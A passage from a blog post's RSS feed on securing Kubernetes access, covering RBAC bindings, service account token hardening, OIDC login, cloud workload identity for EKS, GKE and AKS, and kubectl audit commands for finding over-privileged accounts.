  jq &#039;.items[] | select(.rules[]?.verbs[] == &quot;*&quot;) | .metadata.name&#039;
</code></pre>
<hr />
<h2 id="bindings-connecting-identities-to-roles">Bindings — Connecting Identities to Roles</h2>
<pre><code class="" data-line=""># RoleBinding: alice can read pods in the default namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: alice-pod-reader
  namespace: default
subjects:
- kind: User
  name: alice@company.com
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io
</code></pre>
<pre><code class="" data-line=""># ClusterRoleBinding: Prometheus can read cluster-wide (monitoring use case)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: prometheus-cluster-reader
subjects:
- kind: ServiceAccount
  name: prometheus
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: view
  apiGroup: rbac.authorization.k8s.io
</code></pre>
<p>An important pattern: a <strong>RoleBinding can reference a ClusterRole</strong>. This lets you define a role once at the cluster level (the ClusterRole) and bind it within specific namespaces through RoleBindings. The permissions are still scoped to the namespace where the RoleBinding lives. This is the right pattern for shared role definitions — define the permission set once, instantiate it with appropriate scope.</p>
<p>Default to RoleBinding over ClusterRoleBinding for namespace-scoped work. ClusterRoleBinding should be reserved for genuinely cluster-wide operations: monitoring agents, network plugins, cluster operators, security tooling.</p>
<hr />
<h2 id="service-accounts-the-machine-identity-in-kubernetes">Service Accounts — The Machine Identity in Kubernetes</h2>
<p>Every pod in Kubernetes runs as a service account. If you don&#8217;t specify one, it uses the <code class="" data-line="">default</code> service account in the pod&#8217;s namespace.</p>
<p>The <code class="" data-line="">default</code> service account is where many RBAC misconfigurations accumulate. When someone creates a RoleBinding without thinking about which SA to use, they often bind the permission to <code class="" data-line="">default</code>. Now every pod in that namespace that doesn&#8217;t explicitly set a service account — including pods deployed by developers who aren&#8217;t thinking about RBAC — inherits that binding.</p>
<pre><code class="" data-line=""># Create a dedicated SA for each application
kubectl create serviceaccount app-backend -n production

# Check what any SA can currently do — use this in every audit
kubectl auth can-i --list --as=system:serviceaccount:production:app-backend -n production

# Check a specific action
kubectl auth can-i get secrets \
  --as=system:serviceaccount:production:app-backend -n production

kubectl auth can-i create pods \
  --as=system:serviceaccount:production:app-backend -n production
</code></pre>
<h3 id="disable-auto-mounting-the-sa-token">Disable Auto-Mounting the SA Token</h3>
<p>By default, Kubernetes mounts the service account token into every pod at <code class="" data-line="">/var/run/secrets/kubernetes.io/serviceaccount/token</code>. A pod that doesn&#8217;t need to call the Kubernetes API doesn&#8217;t need this token. Having it mounted increases the blast radius if the pod is compromised — the token can be used to call the K8s API with whatever RBAC permissions the SA has.</p>
<pre><code class="" data-line=""># Disable at the pod level
apiVersion: v1
kind: Pod
spec:
  automountServiceAccountToken: false
  serviceAccountName: app-backend
  containers:
  - name: app
    image: my-app:latest

# Or at the service account level (applies to all pods using this SA)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
automountServiceAccountToken: false
</code></pre>
<p>For most application pods — anything that isn&#8217;t a Kubernetes operator, controller, or management tool — the K8s API token is unnecessary. Disable it.</p>
<hr />
<h2 id="human-access-to-kubernetes-get-off-client-certificates">Human Access to Kubernetes — Get Off Client Certificates</h2>
<p>Kubernetes doesn&#8217;t manage human users natively. Authentication is delegated to an external mechanism. The most common approaches:</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>X.509 client certificates</td>
<td>Common for initial cluster setup; credentials are embedded in kubeconfig; <strong>cannot be revoked without revoking the CA</strong></td>
</tr>
<tr>
<td>Static bearer tokens</td>
<td>Long-lived; avoid</td>
</tr>
<tr>
<td>OIDC via external IdP</td>
<td>Preferred for human access — supports SSO, MFA, and revocation via IdP</td>
</tr>
<tr>
<td>Webhook auth</td>
<td>Flexible, requires custom infrastructure</td>
</tr>
</tbody>
</table>
<p>X.509 certificates are the bootstrap pattern. Every managed Kubernetes offering generates an admin kubeconfig with a client certificate. The problem: you can&#8217;t revoke individual certificates without rotating the CA. If you&#8217;re giving human engineers access via client certificates, someone leaving doesn&#8217;t actually lose cluster access until the certificate expires.</p>
<p>OIDC is the right model. Configure the kube-apiserver to accept JWTs from your IdP, bind RBAC permissions to groups from the IdP, and revocation becomes &#8220;remove from IdP group&#8221; rather than &#8220;hope the certificate expires soon&#8221;:</p>
<pre><code class="" data-line=""># kube-apiserver flags for OIDC (managed clusters configure this via provider settings)
--oidc-issuer-url=https://accounts.google.com
--oidc-client-id=my-cluster-client-id
--oidc-username-claim=email
--oidc-groups-claim=groups
--oidc-groups-prefix=oidc:
</code></pre>
<pre><code class="" data-line=""># User&#039;s kubeconfig — uses an exec plugin to fetch an OIDC token
users:
- name: alice
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: kubectl-oidc-login
      args:
        - get-token
        - --oidc-issuer-url=https://dex.company.com
        - --oidc-client-id=kubernetes
</code></pre>
<p>With managed clusters:</p>
<pre><code class="" data-line=""># EKS: add IAM role as a cluster access entry (replaces the aws-auth ConfigMap)
aws eks create-access-entry \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --type STANDARD

aws eks associate-access-policy \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
  --access-scope type=namespace,namespaces=production,staging

# GKE: get credentials; IAM roles map to cluster permissions
gcloud container clusters get-credentials my-cluster --region us-central1
# roles/container.developer → edit permissions
# But: use ClusterRoleBindings for fine-grained control rather than relying on GCP IAM roles

# AKS: bind Entra ID groups to Kubernetes RBAC
az aks get-credentials --name my-aks --resource-group rg-prod
kubectl create clusterrolebinding dev-team-view \
  --clusterrole=view \
  --group=ENTRA_GROUP_OBJECT_ID
</code></pre>
<hr />
<h2 id="cloud-iam-kubernetes-rbac-the-integration-points">Cloud IAM + Kubernetes RBAC: The Integration Points</h2>
<h3 id="eks-pod-identity-irsa-revisited">EKS Pod Identity / IRSA (revisited)</h3>
<p>The annotation on the Kubernetes ServiceAccount is the bridge:</p>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/AppBackendRole
</code></pre>
<p>Kubernetes RBAC controls what the pod can do inside the cluster. The IAM role controls what the pod can do in AWS. Both must be explicitly granted; neither inherits from the other.</p>
<h3 id="gke-workload-identity">GKE Workload Identity</h3>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    iam.gke.io/gcp-service-account: app-backend@my-project.iam.gserviceaccount.com
</code></pre>
<h3 id="aks-workload-identity">AKS Workload Identity</h3>
<pre><code class="" data-line="">apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    azure.workload.identity/client-id: &quot;MANAGED_IDENTITY_CLIENT_ID&quot;
---
apiVersion: v1
kind: Pod
metadata:
  labels:
    azure.workload.identity/use: &quot;true&quot;
spec:
  serviceAccountName: app-backend
</code></pre>
<hr />
<h2 id="rbac-audit-what-to-check-first">RBAC Audit — What to Check First</h2>
<pre><code class="" data-line=""># Start here: who has cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | select(.roleRef.name==&quot;cluster-admin&quot;) | 
      {binding: .metadata.name, subjects: .subjects}&#039;
# cluster-admin should bind to almost nobody — review every result

# Find ClusterRoles with wildcard permissions
kubectl get clusterroles -o json | \
  jq &#039;.items[] | select(.rules[]?.verbs[]? == &quot;*&quot;) | .metadata.name&#039;

# What can the default SA do in each namespace?
for ns in $(kubectl get namespaces -o name | cut -d/ -f2); do
  echo &quot;=== $ns ===&quot;
  kubectl auth can-i --list --as=system:serviceaccount:${ns}:default -n ${ns} 2&gt;/dev/null \
    | grep -v &quot;no&quot; | head -10
done

# What can a specific SA do?
kubectl auth can-i --list \
  --as=system:serviceaccount:production:app-backend \
  -n production

# Check whether an SA can escalate — key risk indicators
kubectl auth can-i get secrets -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create pods -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create rolebindings -n production \
  --as=system:serviceaccount:production:app-backend
</code></pre>
<p>Creating pods and creating rolebindings are privilege escalation primitives. A service account that can create pods can run a pod with a different, more powerful SA. A service account that can create rolebindings can grant itself more permissions.</p>
<h3 id="useful-tools">Useful Tools</h3>
<pre><code class="" data-line=""># rbac-tool — visualize and analyze RBAC (install: kubectl krew install rbac-tool)
kubectl rbac-tool viz                              # generate a graph of all bindings
kubectl rbac-tool who-can get secrets -n production
kubectl rbac-tool lookup alice@company.com

# rakkess — access matrix for a subject
kubectl rakkess --sa production:app-backend

# audit2rbac — generate minimal RBAC from audit logs
audit2rbac --filename /var/log/kubernetes/audit.log \
  --serviceaccount production:app-backend
</code></pre>
<hr />
<h2 id="common-rbac-misconfigurations">Common RBAC Misconfigurations</h2>
<table>
<thead>
<tr>
<th>Misconfiguration</th>
<th>Risk</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">cluster-admin</code> bound to application SA</td>
<td>Full cluster takeover from compromised pod</td>
<td>Minimal ClusterRole; scope to namespace where possible</td>
</tr>
<tr>
<td><code class="" data-line="">list</code> or wildcard on <code class="" data-line="">secrets</code></td>
<td>Read all secrets in scope — includes credentials, API keys</td>
<td>Grant <code class="" data-line="">get</code> on specific named secrets only</td>
</tr>
<tr>
<td><code class="" data-line="">default</code> SA with non-trivial permissions</td>
<td>Every pod in the namespace inherits the permission</td>
<td>Bind permissions to dedicated SAs; <code class="" data-line="">automountServiceAccountToken: false</code> on default</td>
</tr>
<tr>
<td>ClusterRoleBinding for namespace-scoped work</td>
<td>Namespace work with cluster-wide permission</td>
<td>Always prefer RoleBinding; ClusterRoleBinding only for genuinely cluster-wide needs</td>
</tr>
<tr>
<td>Binding users by username string</td>
<td>Hard to revoke; doesn&#8217;t sync with IdP</td>
<td>Bind groups from IdP; revocation propagates through group membership</td>
</tr>
<tr>
<td>SA can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code></td>
<td>Privilege escalation path</td>
<td>Audit and remove these from non-privileged SAs</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Kubernetes RBAC operates as a full IAM system at the platform layer, independent of cloud IAM</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Two independent authorization layers (cloud + K8s) must each be designed and audited — one does not compensate for the other</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Kubernetes RBAC Roles, ClusterRoles, and bindings implement access control within the container platform</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Service account provisioning, OIDC-based human access, and workload identity integration with cloud IAM</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td><code class="" data-line="">cluster-admin</code> and wildcard RBAC bindings represent the highest-privilege grants in Kubernetes</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Kubernetes RBAC is the access control mechanism for the container platform layer in CC6.1</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Binding revocation, SA token disabling, and OIDC group-based access removal satisfy CC6.3 requirements</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Kubernetes RBAC and cloud IAM are separate authorization layers — both must be secured; strong cloud IAM with weak K8s RBAC is still a vulnerable cluster</li>
<li><code class="" data-line="">cluster-admin</code> bindings are the first thing to audit in any cluster — the blast radius of a compromised pod with cluster-admin is the entire cluster</li>
<li>Disable <code class="" data-line="">automountServiceAccountToken</code> on service accounts and pods that don&#8217;t call the Kubernetes API — most application pods don&#8217;t need it</li>
<li>Use OIDC for human access rather than client certificates; revocation via IdP is instant and reliable</li>
<li>Bind groups from IdP rather than individual usernames; revocation propagates automatically when someone leaves</li>
<li>A service account that can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code> is a privilege escalation path — audit for these in every namespace</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP12 is the capstone: Zero Trust IAM — how all the concepts in this series come together into an architecture that assumes nothing is implicitly trusted, verifies everything explicitly, and limits blast radius through least privilege enforced at every layer.</p>
<p><em>Next: <a href="/zero-trust-access-cloud/">Zero trust access in the cloud</a></em></p>
<p>Get EP12 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&amp;linkname=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-rbac-cloud-iam%2F&#038;title=Kubernetes%20RBAC%20and%20AWS%20IAM%3A%20The%20Two-Layer%20Access%20Model%20for%20EKS" data-a2a-url="https://linuxcent.com/kubernetes-rbac-cloud-iam/" data-a2a-title="Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-rbac-cloud-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1513</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-09-02 10:45:10 by W3 Total Cache
-->